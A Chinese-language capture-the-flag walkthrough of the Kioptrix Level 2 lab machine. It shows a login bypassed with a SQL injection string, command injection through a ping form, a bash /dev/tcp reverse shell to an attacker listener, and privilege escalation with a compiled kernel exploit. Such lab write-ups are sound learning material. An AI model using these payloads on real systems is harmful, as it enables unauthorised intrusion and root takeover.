1.端口扫描
靶机下载地址
关于靶机的搭建以及发现就不做过多赘述了,详见博客Kioptrix Level 1中的介绍。

服务
2.漏洞发现
基于level1的经验,咱们这次针对靶机开放的每个服务进行一次分析。
2.1 OpenSSH 3.9p1

exploit-db
漏洞库未搜到相关版本的exploit。那我们尝试爆破吧,使用kali里自带的字典。

hydra
爆破未果,看来这个靶机的解题思路不在这,那我们换个姿势。
2.2 Apache httpd 2.0.52
在漏洞库中搜索该版本apache的漏洞,仍然没有结果。
对网站进行访问:

web
一个普通的登陆框,没有验证码,第一反应是爆破。不过爆破是下策,可以考虑从万能密码,sql注入入手。
经过简单的尝试,使用admin/1' or '1'='1 成功登录该系统:

image.png
看到这个ping的功能,如果做过dvwa靶机的应该比较熟悉。这里本质是个ping IP的功能,个人理解就是在系统里运行:
ping [表单中提交的IP地址]
那命令后添加分隔符达到运行自己设定的命令的目标,这里简单介绍下linux的几种分隔命令符号的具体作用:
“;”分隔符:用分号分隔的命令会按顺序执行,即使中间命令使用方式不对,会有相关错误输出,后面的命令照样会执行;
“&&”分隔符:遇到首个命令执行失败后,后面的命令不会执行;
“||”分隔符:遇到首个命令执行成功后,后面的命令不会执行。
ping 127.0.0.1;ifconfig
简单使用这个方法尝试是否成功:

成功了,那下一步就是使用nc神器反弹shell了。
首先在kali中监听4444端口:
nc -nlvp 4444
web输入执行命令:
ping 127.0.0.1;bash -i >& /dev/tcp/192.168.43.92/4444 0>&1

kali这边监听收到了反弹过来的shell(这个原理和更深入的用法后面会对nc做个介绍),本以为这样就结束了。准备敲个cat /etc/shadow完事,结果发现权限不够。

whoami一查结果发现是apache,应该是网站权限的用户了。
那下一步就是提权了。。。

systeminfo
使用kali的searchsploit模块进行搜索(效果等同使用exploit-db网站):

exploit
这里按刚才的内核以及系统版本搜索到唯一匹配的exploit。
到这里就遇到了很多个坑,困扰了两天才把这个靶机拿下:
坑1:当wget下载https的网站时后面需要跟
--no-check-certificate
不验证证书的情况下进行请求才能正常下载。

但是由于靶机openssh版本的问题无法从漏洞库下载exploit。
坑2:于是就用了另一种方法,在攻击机中先下好,编译之后上传到靶机中运行。
上传的方法我使用的是python临时的http服务用于下载exploit:
python -m SimpleHTTPServer xx[端口]
但是在www目录下apache这个用户没有写权限,导致文件下载失败。后面直接来到根目录使用ls -la查看其他用户有写权限的目录,这里发现只有tmp目录有该权限:

坑3:解决掉下载的问题之后,尝试运行好的exploit,系统一直提示tcsetattr:Invalid argument。
网上查了tcsetattr是设置终端参数的,头函数是#include<termios.h>,我猜想是不是又是编译那里出了问题。
最后在经过不断尝试之后找到问题,靶机用gcc版本和攻击机的gcc版本不一致,且靶机是32位系统。所以把c写的exploit拿到靶机上编译完成之后,成功运行,并拿到root权限:

shell